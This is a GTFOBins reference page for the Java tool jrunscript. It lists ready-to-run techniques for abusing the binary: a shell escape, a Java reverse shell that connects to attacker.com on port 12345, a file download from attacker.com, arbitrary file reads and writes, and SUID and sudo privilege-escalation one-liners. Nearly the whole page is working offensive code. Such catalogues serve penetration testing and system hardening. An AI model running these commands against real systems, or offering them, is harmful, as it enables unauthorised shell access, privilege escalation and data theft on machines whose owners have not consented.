GTFOBins.github.io/_gtfobins/jrunscript.md
2020-06-10 23:04:59 +02:00

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---
description: This tool is installed starting with Java SE 6.
functions:
shell:
- code: jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"
reverse-shell:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
export RPORT=12345
jrunscript -e 'var host='"'""$RHOST""'"'; var port='"$RPORT"';
var p=new java.lang.ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
var s=new java.net.Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
java.lang.Thread.sleep(50);
try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
file-download:
- description: Fetch a remote file via HTTP GET request.
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
jrunscript -e "cp('$URL','$LFILE')"
file-write:
- code: jrunscript -e 'var fw=new java.io.FileWriter("./file_to_write"); fw.write("DATA"); fw.close();'
file-read:
- code: jrunscript -e 'br = new BufferedReader(new java.io.FileReader("file_to_read"));
while ((line = br.readLine()) != null) { print(line); }'
suid:
- description: This has been found working in macOS but failing on Linux systems.
code: ./jrunscript -e "exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')"
sudo:
- code: sudo jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"
---